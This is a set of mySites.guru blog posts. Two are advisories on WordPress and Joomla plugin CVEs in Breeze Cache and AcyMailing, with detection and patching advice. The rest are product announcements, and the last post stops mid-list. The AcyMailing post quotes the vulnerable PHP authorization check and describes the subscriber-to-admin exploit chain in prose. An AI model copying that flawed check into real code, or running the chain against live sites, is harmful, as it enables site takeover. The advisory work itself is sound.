If you have a mySites.guru account, this link opens the extension search filtered for Breeze across every WordPress site you have connected. Anything below 2.4.5 needs an update before you close your laptop today: Breeze Cache - extension search.

If you do not subscribe yet, you can connect your sites and run the same search in a free audit. The extension inventory is one of the things the audit covers.

What Is the Breeze Cache CVE-2026-3844 Vulnerability?

CVE-2026-3844 is an unauthenticated arbitrary file upload vulnerability in Cloudways' Breeze Cache plugin. NIST scored it CVSS 9.8 (critical) and assigned CWE-434.

The bug lives in fetch_gravatar_from_remote inside class-breeze-cache-cronjobs.php. When the "Host Files Locally - Gravatars" option is enabled, the plugin downloads avatar images from a URL passed in via a parameter, with no validation that the URL points to Gravatar or that the response is actually an image. An attacker passes their own URL, the plugin fetches whatever the attacker is serving, and writes it to the filesystem. From there it is one HTTP request to drop a webshell.

The exploit pre-condition is the Host Files Locally - Gravatars option, which is off by default. Cloudways' own security advisory notes that the platform's default safeguards block direct PHP file access, which breaks the file-upload-to-RCE chain on Cloudways-hosted sites unless that protection has been removed. Self-hosted WordPress sites and customers on hosts without that safeguard get the full RCE.

The patch in 2.4.5 enforces official Gravatar sources only. Affected versions are everything up to and including 2.4.4.

Why Breeze Cache Is on So Many WordPress Sites

Breeze is a free WordPress cache plugin from Cloudways and reports 400,000+ active installs on WordPress.org. Its scale comes from two distinct populations:

Cloudways-hosted sites. Breeze is the default cache plugin on the Cloudways managed-WordPress platform. New WordPress installs on Cloudways get it automatically.
Self-hosted sites. Site owners reach for Breeze as a free alternative to WP Rocket. It does enough of the same job to be the obvious pick when budget is the constraint.

Both populations have the same problem with this CVE: it was installed once, configured once, and then forgotten about. Plugin updates auto-applied or did not. Nobody routinely audits which sites have which version of which cache plugin until something like Wordfence's advisory lands.

How Bad Is the Breeze Cache Active Exploitation?

Wordfence's active-exploitation report says the firewall blocked 3,936 attack attempts in the 24 hours preceding their post. Public proof-of-concept exploits are already on GitHub. BleepingComputer and SecurityAffairs ran follow-up coverage in the same window.

The CVSS-9.8 score combined with the "unauthenticated" qualifier is what makes this serious. The attacker needs no login, no admin click, no chained exploit. They need to find a site running pre-2.4.5 Breeze with the Gravatars option on, and the file upload works.

How Do I Check If a Breeze Cache Site Has Been Compromised?

Cloudways' advisory points at one specific path. The Breeze cache directory is:

/wp-content/cache/breeze-extra/gravatars/

That directory should only ever contain image files. Per Cloudways' guidance, anything else in there is suspicious:

PHP files (.php, .phtml, .phar)
.htaccess overrides (attackers use these to make image-extension files execute as PHP)
Files with no extension
Files with double extensions (avatar.jpg.php)

If you find any of those, treat the site as potentially compromised. Pull the site offline if you can, run a full malware scan against the whole webspace (not just /wp-content/cache/), and inspect wp-config.php and other entry-point files for injected code.

Webshells rarely sit alone

If an attacker landed a payload through the Gravatars cache path, assume they used it to drop additional files elsewhere on the site. Scope a malware scan against the entire webspace, including theme and core directories. The original entry point is usually the smallest piece of the infection.

Update to Breeze 2.4.7, Not Just 2.4.5

Cloudways shipped two more Breeze releases after the original CVE patch. The summary is:

2.4.5 - Patches CVE-2026-3844 by restricting Gravatar fetches to official sources.
2.4.6 - CPU and multisite fixes after 2.4.5.
2.4.7 - Fixes a Varnish purge regression introduced in 2.4.6.

If you are auditing now, target 2.4.7. Sites stuck on 2.4.5 are no longer vulnerable to CVE-2026-3844, but they are running into the regressions the later versions fix. mySites.guru's bulk update will push every site to the current version with backups taken first, so a regression on one site does not stop the rollout.

What We Found Across Our Own Subscriber Base

When Wordfence published, we ran one extension-inventory query against the platform. The number was bigger than we expected. Hundreds of paying mySites.guru subscriber sites were running Breeze versions below 2.4.5. We emailed every affected customer the same day with the list of their specific sites and the versions installed.

The patterns in that data:

The vulnerable population was spread across every Breeze customer we had. Not most. All. Two weeks after the patch, none of our subscribers were on 2.4.5 or later through their own update workflow.
Version drift inside a single account was the norm. One customer had ten sites running six different Breeze builds, ranging from 2.0.24 (June 2022) to 2.4.2 (March 2026). All were vulnerable, but they had nothing in common operationally except "we forgot about this".
The oldest install we saw was Breeze 1.0.10. That build is from around 2018. The site has been running an eight-year-old cache plugin under continuous CMS updates since then, with nobody noticing.

This is the same shape of problem that the Essential Plugin backdoor and the Smart Slider 3 Pro supply chain compromise exposed earlier in 2026. The plugin you installed once and never thought about again is the one attackers find first. When the next disclosure lands, the operational question is the same one Breeze just asked: can you list every site where this plugin is installed, and the version each one is running, before you close your laptop today?

Manual Detection: How to Audit Breeze Without mySites.guru

If you only have a handful of WordPress sites and do not use a portfolio dashboard, here is the manual sequence:

List sites. Write down every WordPress site you manage. Include staging environments. Include sites that are technically retired but still resolving DNS.
For each site, log in to wp-admin. Open Plugins. Look for "Breeze". Note the version.
Update. Anything below 2.4.5 needs immediate update to 2.4.7.
Check the Gravatars setting. In Breeze settings, find Host Files Locally - Gravatars. Disable it on any site that does not specifically need locally-hosted Gravatars.
Inspect the cache directory. SFTP into each site and look at /wp-content/cache/breeze-extra/gravatars/. Confirm only image files are present.
If anything looks wrong, scan. Use a deep file scanner (WPScan, Wordfence's own scanner, or any of the malware scanners that scan the whole webspace, not just plugin files).

Steps 1 through 4 take roughly five minutes per site if you have all the credentials at hand and nothing fights you. Step 5 doubles that. Across 50 sites, that is a working day for one plugin disclosure. The next disclosure costs you another working day.

Why Plugin Audits Should Be Continuous, Not Incident-Driven

mySites.guru exists because incident-driven plugin audits are the wrong shape of work. Reacting to every Wordfence advisory by manually auditing your portfolio is skilled work that doesn't scale, done under time pressure right when calm thinking matters most.

The CMS-management work that does scale looks different:

A continuously-updated extension inventory. Every time a connected site reports its plugin list, the inventory updates. There is no "audit moment" - the inventory is always current.
Cross-referenced against vulnerability feeds. When a CVE drops for a plugin you manage, you know within hours which of your sites are affected. Not "which CVEs landed this week" - which of your sites have this CVE.
Bulk update with backup-first. When the answer is "update to 2.4.7", you push the update to every affected site in a batch with rollback available, not by clicking through 50 wp-admin sessions.
Real-time alerts on file changes. If an attacker did get a webshell onto one of your sites, file-change alerting catches it the moment the new file appears, not weeks later when the SEO spam shows up in Google.

You can build all of this yourself with WP-CLI, cron jobs, and a database. If you have time, do. Most of the agencies and freelancers we work with did the maths on it and decided the £19.99/month was less expensive than building and maintaining the same thing.

A Login for Your Accountant, Not Your Sites

phil@mysites.guru (Phil Taylor) — Thu, 16 Apr 2026 00:00:00 GMT

This is a blog post about a mySites.guru feature. Accountants can now log in to mySites.guru themselves to grab your past invoices.

If you run a web agency on mySites.guru, your accountant does not need to see your client sites. They need your invoices. And yet most SaaS tools force you to pick between two bad options: hand over full access and trust the bookkeeper not to poke around, or export a PDF of every invoice at month end and email the lot.

We shipped a third option. It is called the Accountant Portal and it is live today on every paid plan.

What Does the Accountant Portal Do?

The Accountant Portal is a new role type for team members. When you add a user and pick Accountant only, that user can log in, see your invoices, open any invoice in detail, and email a copy to themselves. That is the complete list. Every other page in the app returns 403 Access Denied.

That screenshot is the entire world an accountant can see. No sidebar, no tools menu, no team management, no settings. Just invoices.

Why Build a Separate Role Instead of Adding Permissions?

mySites.guru has had team members with per-site and per-feature permissions for years. We could have added an "invoices only" toggle to the existing team form. We chose not to.

A permission-based approach leaks. Every time we add a new feature (a new tool, a new audit, a new dashboard widget) we have to remember to exclude the accountant role. One missed #[IsGranted] check and the bookkeeper is suddenly looking at your hacked-sites list. That is not a security model, that is a promise we have to keep renewing on every PR, and we will eventually forget one.

The Accountant Portal inverts the default. Instead of maintaining a growing allowlist of what an accountant cannot see, we maintain a short allowlist of what they can see:

/invoices
/invoices/{id} (single invoice view)
/invoices/{id}/email (email invoice to self)
/login, /logout, password reset

A global request listener runs before every controller. If the logged-in user has ROLE_ACCOUNTANT and the route is not on that allowlist, they get a 403. No controller has to opt in. No future feature can accidentally expose data. The "captive portal" stays captive, full stop.

How Do You Invite an Accountant?

Open your Your Team page and click Add Team Member. Enter their name and email, then pick the Accountant only option.

The help text tells you what you are agreeing to: View and email invoices only. Cannot see any sites, cannot be assigned sites, and has no access to anything else.

Ticking Accountant only hides the site picker entirely. There is no way to accidentally bundle a "just this one site" exception. Accountants are mutually exclusive with regular team members: one or the other, never both. The account saves, an invite email goes out with a password-reset link, and your accountant is up and running in under a minute.

What About Notifications and Activity Emails?

mySites.guru sends plenty of operational email: failed backups, security alerts, plugin update warnings, uptime pings. Your accountant does not want any of that, and you do not want them seeing it.

The getTeamMembers() call that feeds those notifications now excludes accountants by default. Billing emails (receipts, payment failures) still reach them, since that is the whole reason they have a login. Everything else skips them. You do not need to touch any notification preferences for this to work.

Can the Accountant Be Impersonated or Tricked Into Full Access?

No. The details that come up in security reviews:

ROLE_ACCOUNTANT is written to the same roles column as every other role. One hasRole() check, enforced centrally, not scattered across controllers.
The authenticator checks for ROLE_ACCOUNTANT on every successful login and force-redirects to /invoices, overriding any stored target path. Even a bookmarked deep link lands on the captive page.
A company owner can still impersonate an accountant for debugging, but the reverse is impossible. An accountant has no impersonation UI, no team member list, and no access to the user-switching mechanic.
The lockdown listener runs on every request, not just HTML routes. AJAX and JSON endpoints 403 too.
Passkeys and 2FA work on accountant accounts the same as any other. I would recommend turning a passkey on regardless.

Why Does This Matter?

Bookkeepers are busy people handling invoices for a pile of clients at once. The last thing you want is yours clicking around in an unfamiliar control panel and accidentally triggering a backup restore or firing off an email to a client who has no idea who they are. "I'll just have a quick look round" is how incidents start. With the Accountant Portal there is no "round" to look at, so the temptation never shows up.

It is also honest. When you give your accountant a login, they should know exactly what they can and cannot see. A role labelled Accountant only (read-only invoice access) with a yellow warning box on the invite form leaves nothing to interpret. Nobody is "pretty sure" they cannot see client data. They demonstrably cannot.

Why Do We Not Auto-Email Financial Data?

Plenty of SaaS tools will happily pump your invoice data to whoever you point them at, on whatever schedule you pick. We will not.

Invoices are financial records. In the UK they fall under the UK GDPR and the Data Protection Act 2018, and the ICO's own guidance is that plain SMTP email is not a secure channel for personal financial information. GDPR Article 32 (security of processing) says the same thing in EU terms. If your invoice touches anything health-related in the US, you are suddenly in HIPAA territory. Australia has the Privacy Act 1988. And the accounting regulators (ICAEW and AAT) expect members to keep client financial data inside access-controlled systems, not bouncing around inboxes.

Email is plaintext. It travels over servers you do not control, sits in spam filters you do not administer, and hangs around in archives long after the recipient has left the firm. Auto-emailing an invoice to an accountant every month means a year of invoices sitting across four or five mail hops, indefinitely. If their mailbox is compromised next year, so is your billing history.

The Accountant Portal inverts that flow. The accountant logs in with a password or a passkey, over TLS, to a page only they can see, and pulls the data when they need it. If they want a copy in their inbox, they can email a single invoice to themselves with one click. Same convenience, far less attack surface, and nobody is wondering two years from now whether a closed Yahoo account still has a client's billing address sat in it.

Why No PDFs?

The Accountant Portal does not render invoice PDFs. Invoices display as HTML, and if the accountant needs a saved file, their browser's Print to PDF handles it. That is a deliberate choice, and we are in reasonably good company on it.

The Government Digital Service blog laid out why GOV.UK publishes content as HTML rather than PDF: PDFs are harder to search, awkward with screen readers, awkward to re-flow on mobile, and ignore the browser settings (text size, contrast, preferred font) that a lot of readers actually rely on. The government's Accessibility team went further in 2023 and started stripping legacy PDFs off GOV.UK. The ONS has now stopped generating PDFs of its HTML content from 2026 onwards.

Not everyone got the memo. The States Assembly in Jersey has just moved the other way, making the PDF the authoritative version of each proposition and treating the HTML on the page as a convenience copy. Every publication now carries an info box saying the PDF is the official document. Two governments, same decade, opposite conclusions. I would not bet on Jersey ageing well on that one.

Those reasons carry over to invoices:

An HTML invoice respects the accountant's screen reader, their zoom level, and their high-contrast setting. A PDF locks you into 10 point text at whatever font happened to be embedded, whether that works for them or not.
If we change a VAT number, a trading address, or a line-item format, we edit one template and every historical invoice picks it up. Regenerating a decade of PDFs every time HMRC tweaks a required field is not a good use of anyone's weekend.
A rendered PDF of a simple invoice is routinely five to twenty times the size of the equivalent HTML. Across thousands of customers that becomes a lot of bandwidth and storage for a worse experience.
Browsers already print HTML to PDF properly. The output is an accessible, tagged PDF that matches the reader's display preferences. Two clicks in Chrome and your accountant has a filing copy that actually works with their tooling.

The part a lot of developers forget: every major operating system already has a first-class PDF renderer built in. macOS has had Print to PDF in the system print dialog since 2001. Windows 10 shipped Microsoft Print to PDF as a default printer back in 2015. Every mainstream Linux desktop exposes the same option via CUPS. Chrome, Safari, Firefox, and Edge all route into those system printers. So the PDF your accountant saves is one produced by Apple, Microsoft, or the CUPS team, using the same font rasterisation and colour management their operating system uses for everything else on screen.

Rendering a PDF server-side in PHP cannot get near that. The PHP options (mPDF, TCPDF, dompdf, wkhtmltopdf wrappers) are all fighting a frozen CSS subset, an embedded font list that never quite matches the source page, and assorted quirks around page breaks, ligatures, RTL text, emoji, and custom web fonts. I have lost enough Saturdays to TCPDF trying to line an invoice up with its HTML version to know the answer: ship the HTML, let the OS render the PDF.

One more reason, and it is one the PDF-by-default crowd rarely thinks about: printing is not eco-friendly. A PDF exists to look like a sheet of paper, and the natural next step with a PDF is to print it. A 2019 study by The Shift Project put the global digital industry at roughly 4% of greenhouse gas emissions, and paper is still the single biggest source of office waste in the UK according to Defra's waste prevention programme. Every unneeded invoice PDF is an invitation to hit print, and every printed invoice is ink, toner, paper, electricity, and a delivery lorry somewhere up the supply chain.

An HTML invoice defaults to never being printed. If you want a filing copy you still can, but the default behaviour is "read it on the screen and close the tab" rather than "print it and put it in a folder that nobody opens." Small thing per invoice. Not a small thing across thousands of accountants filing thousands of clients.

HTML first, print on demand. The invoice you see is the invoice you get, and the format of any saved copy is yours to pick.

Give It a Try

Open your Your Team page, click Add Team Member, and tick Accountant only. Your accountant has a login in two minutes. If you do not yet have a mySites.guru account, pricing starts at £5/month for one site or £19.99/month for unlimited sites, and every plan includes unlimited team members and accountants.

Add Your Accountant Now

Team access patterns like this one are covered in our agency multi-site management guide.

AcyMailing Vulnerability Also Affects Joomla Sites

phil@mysites.guru (Phil Taylor) — Thu, 16 Apr 2026 00:00:00 GMT

Yet again, a vulnerability in a dual WordPress/Joomla plugin only gets noticed and shouted about in WordPress circles, leaving Joomla users blind and none the wiser.

This time it is AcyMailing, a newsletter plugin with a Joomla component and a WordPress plugin built from the same source tree. CVE-2026-3614 is a CVSS 8.8 privilege escalation, and every advisory we could find describes it as WordPress-only. None of them mention Joomla.

We downloaded the Joomla installer tarballs for AcyMailing 10.8.1 and 10.8.2, ran a diff, and found the patch sitting in shared code that ships to Joomla sites too. The AcyMailing vendor changelog also confirms it: the 10.8.2 security entry is flagged with both the Joomla and WordPress icons, so the vendor themselves are telling you both platforms are affected - the CVE just doesn't. If your Joomla site runs AcyMailing 9.11.0 through 10.8.1, your attack surface is identical to the WordPress sites the CVE was written for.

Hundreds of Joomla and WordPress sites connected to mySites.guru are running an affected version right now. Here is what the bug actually does, why the public record missed Joomla, and what to do about it.

TL;DR

CVE-2026-3614 — CVSS 8.8 privilege escalation in AcyMailing 9.11.0 through 10.8.1
Public CVE describes it as a WordPress-only bug. It is not. Joomla is equally affected
Patch shipped in AcyMailing 10.8.2 on 13 March 2026. Update every Joomla and WordPress site running it
Vendor changelog flags the fix with both the Joomla and WordPress icons. Our own source diff proves the vulnerable code is in shared back/Core/AcymController.php
Joomla's Vulnerable Extensions List has no entry for this CVE. The most recent VEL entry is from February 2026

This is the second recent case of a cross-platform plugin vulnerability being disclosed for WordPress only while Joomla site operators receive no public warning. Smart Slider 3 (CVE-2026-3098) was the previous one. The pattern is becoming familiar.

How to Check Your Sites for AcyMailing 9.11.0 to 10.8.1 with mySites.guru

When a privilege escalation CVE drops in a plugin that ships on both Joomla and WordPress, the first question every agency asks is: "Which of my sites are running a vulnerable version?" If you manage 50 or 200 client sites across both CMS platforms, logging into each admin panel and checking the AcyMailing version is not viable. By the time you get through the list, the attacker has already had their month of diff-and-exploit lead time.

mySites.guru's twice-daily extension snapshot records the exact version of every installed plugin and Joomla extension across every connected site. The extension search page lets you filter by version number in seconds.

If you are already a mySites.guru subscriber, the AcyMailing extension search page lists every installed version across all your connected Joomla and WordPress sites, grouped by version number. Filter for anything between 9.11.0 and 10.8.1 to see which sites need the update.

View all your AcyMailing installations

Open AcyMailing Extension Search

Lists every installed version across all your connected Joomla and WordPress sites. Filter by 9.11.0 through 10.8.1 to find vulnerable installations that need to move to 10.8.2.

Combined with the mass plugin updater, you can push 10.8.2 across every affected site in one batch. A cross-platform CVE becomes a five-minute triage instead of a full day of logging into client admin panels.

If you do not have a mySites.guru account yet, start a free trial and connect your sites. The plugin index builds automatically on the first snapshot.

Checking manually without mySites.guru is a lot of work with a lot of sites

If you manage sites outside of mySites.guru, log into each admin and check the version:

Joomla: open Components → AcyMailing → Configuration. The version number is at the bottom of the page.
WordPress: open Plugins → Installed Plugins and look at the AcyMailing row.

Anything 9.11.0 through 10.8.1 needs updating. The AcyMailing changelog lists the latest release, and the download comes through your AcyMailing account.

How does mySites.guru help subscribers when a vulnerability is found?

Finding the affected sites is the easy bit. Once you know which ones are vulnerable you still have to triage, patch, verify, and sometimes clean up after exploitation. Here is how mySites.guru handles each stage.

Twice-daily extension snapshots

Every connected Joomla and WordPress site is snapshotted twice a day. The snapshot records the plugin index, CMS core version, PHP version, server modules, and active templates. When a new CVE lands, the latest snapshot is at most 12 hours old, so you are not looking at yesterday's state. Cross-platform CVEs like this AcyMailing one show up across both CMS families in the same query.

Cross-referenced vulnerability alerts

Snapshot data gets matched against the Wordfence and Patchstack feeds automatically. Any WordPress CVE that also hits a Joomla-side plugin (because the plugin ships dual-platform from shared code) surfaces on the affected Joomla sites too. That closes the gap that caught this AcyMailing CVE out.

Alerts fire to email and appear on the dashboard the morning the feeds update. No polling, no manual cross-reference.

One-click bulk updates

Once vulnerable versions show up in your portfolio, the mass plugin updater pushes the fixed version to every affected site in one batch. Joomla and WordPress sites update through the same workflow. No logging into client admin panels one at a time.

Post-update verification audits

A full site audit runs after each update to verify the plugin is at the expected version and the site is still healthy. The audit catches updates that silently failed, sites that went down, and file-integrity checks that broke. You get a report rather than having to spot-check manually.

File-level malware scanning for post-exploitation

An update does not undo exploitation that already happened. mySites.guru's malware scanner runs file-level integrity checks and pattern matching for known backdoors and droppers, and the hacked-files detector walks through how to interpret the results. When Astroid Framework was being actively exploited in March 2026, the scanner flagged the BLPayload droppers on customer sites on the next audit cycle, before any public IoC list existed.

Changelog and incident dashboard

Every new CVE writeup, mass-exploitation wave, and plugin backdoor incident goes on the account changelog so subscribers have a running record of what happened, when, and what needed doing. The AcyMailing CVE-2026-3614 entry is there too.

For Joomla operators, this is the closest thing the ecosystem has to a commercial vulnerability pipeline. Imperfect, and dependent on the WordPress-side CVE feeds catching the bug first - but it is what exists until someone builds a Joomla-native equivalent.

What does the AcyMailing vulnerability actually do?

At CVSS 8.8 this is a privilege escalation, not remote code execution. An attacker needs an authenticated account on the target site. On WordPress that means a Subscriber-level user, the lowest privilege WordPress offers. On Joomla it means any registered user whose ACL grants them access to the relevant AcyMailing routes.

From that low-privilege starting point, the vulnerability lets the attacker call admin-only controller methods on the AcyMailing component. The public Wordfence-style writeup describes the attacker:

Turning on AcyMailing's autologin feature via the configuration controller
Creating a malicious newsletter subscriber with an injected cms_id pointing to any existing CMS user, including administrators
Using the autologin URL to authenticate as that user

You sign up as a subscriber, walk in as the admin. That is the whole chain.

Why does the AcyMailing CVE only mention WordPress?

Because Joomla has no commercial CVE reporting infrastructure, and WordPress does. That is the entire answer. Everything below is the detail.

WordPress has three separate commercial vulnerability research operations paying people to break their plugin ecosystem:

Wordfence is a CVE Numbering Authority, so they can issue CVE IDs directly without going through MITRE. They also run the Wordfence Bug Bounty Program that pays researchers to report plugin vulnerabilities.
Patchstack is also a CNA, runs the Patchstack Alliance bug bounty, and coordinates responsible disclosure with plugin authors.
WPScan is owned by Automattic (the company behind WordPress.com) and maintains a vulnerability database that feeds commercial security plugins.

All three scan every WordPress plugin update looking for silent security fixes. All three pay staff to produce CVEs and advisories.

Joomla has a CNA too - the Joomla Security Strike Team became one in November 2020 - but their scope in practice is Joomla core, not third-party extensions. They rarely issue CVEs for extension bugs. Beyond that, there is nothing: no bug bounty, no commercial researcher community, no release scanning. The Joomla Vulnerable Extensions List is volunteer-run and reporter-led - somebody has to send them a report before an entry appears. On the day CVE-2026-3614 dropped, VEL's most recent entry was from 27 February 2026. No CVE-2026-3614 entry was added.

mySites.guru is as close as the Joomla world gets to the Wordfence/Patchstack role, and we are honest about the limits: we cross-reference extension versions on every connected site against the WordPress vulnerability feeds twice a day, which closes the gap on cross-platform plugins but is not a replacement for a funded Joomla CVE pipeline. Nothing is. Until someone decides to build a Joomla Wordfence and fund it, this asymmetry is going to keep happening. Joomla operators who only watch CVE feeds see the AcyMailing disclosure, see the word "WordPress", and move on. Their sites stay exposed.

How we proved CVE-2026-3614 affects Joomla AcyMailing too

AcyMailing's download API only serves the latest version, but acyba's GitHub organisation maintains tagged source for older releases. We pulled the 10.8.1 and 10.8.2 Joomla-compiled tarballs and ran diff -rq across the two trees.

The files that differ between the two releases are the ones the WordPress CVE writeup points to:

back/Core/AcymController.php
back/Classes/UserClass.php
back/Controllers/ConfigurationController.php
front/FrontControllers/FrontconfigurationController.php

These are not WordPress-specific files. They live under back/ and front/, the platform-agnostic AcyMailing core. The WpInit/ folder the public CVE writeup references is the WordPress integration layer that calls into this shared code.

How the authorization bypass works

In vulnerable versions of back/Core/AcymController.php, the authorization gate looks like this:

public function call(string $task): void
{
    // If not authorized, display message and redirect to dashboard
    if (!in_array($task, ['countResultsTotal', 'countGlobalBySegmentId', 'countResults'])
        && strpos($task, 'Ajax') === false
        && !acym_isAllowed($this->name)) {
        acym_enqueueMessage(acym_translation('ACYM_ACCESS_DENIED'), 'warning');
        acym_redirect(acym_completeLink('dashboard'));
    }
    // ... dispatch the task
}

The second condition is the bug. strpos($task, 'Ajax') === false means: if the task name contains the word "Ajax", skip the authorization check entirely. Any controller method named somethingAjax can be called by any authenticated user, with no permission check at all.

In 10.8.2 the gate is three lines and every task goes through acym_isAllowed():

public function call(string $task): void
{
    if (!acym_isAllowed($this->name)) {
        acym_enqueueMessage(acym_translation('ACYM_ACCESS_DENIED'), 'warning');
        acym_redirect(acym_completeLink('dashboard'));
    }
    // ... dispatch the task
}

How the subscriber injection works

back/Classes/UserClass.php is the second half of the chain. In vulnerable versions, the subscriber-save code does not strip cms_id or key from attacker-controlled input. That lets an attacker create a newsletter subscriber with:

cms_id set to an administrator's user ID
key set to a known autologin token

Combine that with the autologin feature toggled on (reachable via the AJAX controller bypass above), and the attacker can hit the autologin URL and authenticate as the admin.

In 10.8.2 both fields are stripped before save:

unset($user->cms_id);
unset($user->key);

This is the "user creation" fix the vendor's changelog refers to.

The vendor changelog confirms Joomla

This is the AcyMailing 10.8.2 changelog entry from acymailing.com:

Vulnerability

[Joomla icon] [WordPress icon] A vulnerability on user creation impacting versions 9.11.0 to 10.8.1 has been patched. Details will be disclosed after a reasonable time to let users apply the patch first.

Both platform icons appear next to the vulnerability entry. The vendor confirms both CMS versions are affected. The public CVE does not.

AcyMailing is the sixth AJAX authorization CVE in eight weeks

We have been writing about this pattern for two months. CVE-2026-3614 is the sixth AJAX-authorization bug in that window, and the shape is the same every time. An AJAX endpoint authenticates the request (the user is logged in, the CSRF token is valid) but never checks whether the user is authorized to do the thing they're asking to do.

Eight weeks of CVE disclosures in Joomla and WordPress extensions:

Astroid Framework (CVE-2026-21628) — CVSS 10.0, Joomla. AJAX endpoint checked the CSRF token but skipped the admin-authentication check. Grab the token from the login page, upload backdoors, done.
Novarain Framework (CVE-2026-21627) — CVSS 9.5, Joomla. com_ajax endpoint with no authentication check, reachable via Convert Forms and EngageBox plugins.
Smart Slider 3 (CVE-2026-3098) — WordPress. admin-ajax.php action with a valid CSRF check and no capability check. Any subscriber could download wp-config.php.
Joomla core (CVE-2026-21629) — the Joomla Security Strike Team's own discovery that com_ajax was excluded from the default logged-in-user check in the admin area. The framework routing every Joomla plugin's AJAX requests had the same authorization gap as the plugins built on top of it.
Ninja Forms File Uploads (CVE-2026-0740) — CVSS 9.8, WordPress. Unauthenticated RCE via an admin-ajax.php handler that never checked anything.
AcyMailing (CVE-2026-3614, this post) — CVSS 8.8, Joomla and WordPress. Internal AJAX router had a one-line strpos($task, 'Ajax') === false loophole that let any logged-in user reach admin-only controller methods.

Same root cause every time. A developer implemented CSRF protection (which stops requests originating on another domain) and assumed that covered access control (which decides who is allowed to do what). It doesn't. They defend against different threats and you need both.

Our March 2026 AJAX pattern post goes into why this keeps happening, what Joomla 5.4.4 did at the framework level for com_ajax, and why the official Joomla developer documentation still teaches the insecure pattern. AcyMailing fits the template. The vulnerable code called acym_isAllowed() on most tasks but had a strpos('Ajax') substring check that let any attacker slip past by picking an Ajax-suffixed task name. In 10.8.2 every task goes through the authorization function - which is what should have been happening since 9.11.0.

If you manage a portfolio of Joomla or WordPress sites with a pile of third-party extensions, assume this pattern is not done with us. More AJAX authorization CVEs are coming, probably this month. Patching each one as it lands is not a strategy - by the time the CVE is public the attackers have already had their month of diff-and-exploit time. What actually works is tracking extension versions across every site you manage and being able to pull up the list of vulnerable installs the same afternoon a CVE drops. That is the workflow mySites.guru is built around.

Why Joomla extensions keep getting left behind on CVE visibility

The gap is self-reinforcing. Fewer Joomla installations than WordPress means less commercial incentive to fund a Joomla-focused Wordfence. Less vulnerability research means fewer Joomla CVEs. Fewer CVEs makes Joomla look safer than it is, which kills urgency to build the missing infrastructure, which keeps the feedback loop going.

Meanwhile the WordPress side gets richer. Wordfence Premium sells firewall rules. Threat-intelligence subscriptions feed commercial products like Jetpack Scan, Sucuri, and Solid Security. Every new paying customer justifies more researcher hires. Every new CVE makes the feed more valuable. WordPress has turned plugin vulnerability disclosure into a funded commercial loop. Joomla has the Joomla Security Strike Team (core only) and VEL (volunteer-run, reactive).

When the vulnerability lives in cross-platform code, the asymmetry gets painful. Smart Slider 3 in March was the clearest recent case: the WordPress side got a CVE, a Wordfence advisory, coverage on every WordPress security blog. Joomla site operators found out via a German-language forum thread. Different plugin, same story here.

What to do right now about AcyMailing 10.8.2

If you only have a handful of sites: log into each Joomla admin, check the AcyMailing version, update to 10.8.2 via AcyMailing's Joomla installer.

If you manage tens or hundreds of sites: connect them to mySites.guru and the dashboard will show you every site running AcyMailing, the exact version, and flag the vulnerable range. The same screen pushes the 10.8.2 update to every affected site in one batch, for Joomla and WordPress together. This is the use case multi-site CMS management tools are built for.

If your extension auto-updates are disabled (Joomla disables them by default), you will have to push the update manually. Most AcyMailing installs we see across the portfolio are two or three minor versions behind. If the primary CMS you manage is Joomla, start watching the WordPress CVE feeds too - CVE-2026-3614 is proof that a WordPress-framed disclosure may hit Joomla anyway.

Was my Joomla site exploited via AcyMailing before I patched?

The vulnerability went public on 16 April 2026. The patch was available from 13 March 2026. So anyone with a GitHub account and 10 minutes of patience has had a month to diff the releases, work out the attack path, and quietly try it on whatever authenticated accounts they already had. If you are patching late, assume exploitation attempts happened.

Signs of compromise on a Joomla site:

New administrator accounts you didn't create. Check Users → Manage and sort by registration date
AcyMailing configuration changes you didn't make, specifically the autologin setting being turned on
New newsletter subscribers with unusual cms_id values linking them to admin accounts
Autologin URLs in access logs referencing AcyMailing routes with session-establishing tokens

If any of those turn up, assume the site is compromised and work through a Joomla hack recovery instead of just updating the plugin. Updating closes the door, but if an attacker already got in and established a secondary persistence mechanism (new admin, backdoor file, scheduled task), the update does not clean that up.

Stop missing Joomla CVEs that only get announced for WordPress

If Wordfence and NVD are the only feeds you watch, you will keep missing the Joomla half of cross-platform disclosures. Connect your sites to mySites.guru and the vulnerability scanner does the cross-referencing for both CMS platforms, twice a day. Every site running a vulnerable version, Joomla and WordPress together, in one list.

How to Enable POW Captcha in Joomla 6.1

phil@mysites.guru (Phil Taylor) — Wed, 15 Apr 2026 00:00:00 GMT

POW CAPTCHA = proof-of-work CAPTCHA. The visitor's browser solves a small maths puzzle in the background instead of clicking traffic lights. Cheap for one form submission, expensive for a bot doing thousands. No images, no third party.

Joomla 6.1 shipped a built-in proof-of-work captcha plugin called plg_captcha_powcaptcha. It is based on the Altcha open-source library, it does not call out to Google or any other third party, and it does not need an API key. For the first time in fifteen years, putting a Joomla site live with spam protection does not start with a registration form for someone else's service.

This post covers how to turn it on. There are two routes: the mySites.guru route if you manage more than one Joomla site, and the manual route if you only have one. Both get you to the same place.

How to Enable POW Captcha Across Every Joomla 6.1 Site at Once With mySites.guru

If you manage multiple Joomla sites, enabling a new core feature is rarely the bottleneck. The work is walking through thirty admin backends, clicking through the same plugin toggle and Global Configuration save thirty times, and then checking that nothing broke on each site's contact form.

mySites.guru now ships a tool called Enable POW Captcha On Joomla 6.1 Sites that collapses that whole sequence into one button per site, or one bulk run across the whole portfolio. The tool:

Detects which of your connected sites are running Joomla 6.1 or later. Older sites are skipped, because the plugin does not exist on them.
Audits each 6.1 site to see whether plg_captcha_powcaptcha is installed, whether it is enabled, and whether Global Configuration has it set as the Default Captcha.
Flags every site where any of those three conditions is not met, with a clear red, amber, or green status per row.
Fixes any flagged site with a single click. The connector enables the plugin and writes the captcha key in the #__extensions config for com_config to powcaptcha. No admin login, no browser tab juggling.

One click on Enable proof-of-work captcha and the same tool comes back green:

From the all-sites tool view, you see the captcha status for every connected Joomla 6.1 site in one table and toggle on the ones that still need it. For a thirty-site agency portfolio, this is the difference between a project and an afternoon.

The audit also reports which sites are still using Google reCAPTCHA, which is useful in its own right. Even if you do not migrate everything today, having a live inventory of "these six sites still depend on a Google account for captcha" means nothing quietly breaks when that account expires or Google deprecates a version.

How to Enable POW Captcha Manually in Joomla 6.1

If you only have one Joomla site, or you want to understand exactly what the tool does before pushing it out across your portfolio, it is a two-step job.

Step 1: Enable the plugin

Go to Extensions, then Plugins. Search for powcaptcha (or just captcha). You will see a plugin called CAPTCHA - Proof of Work. Open it.

Three plugin settings matter:

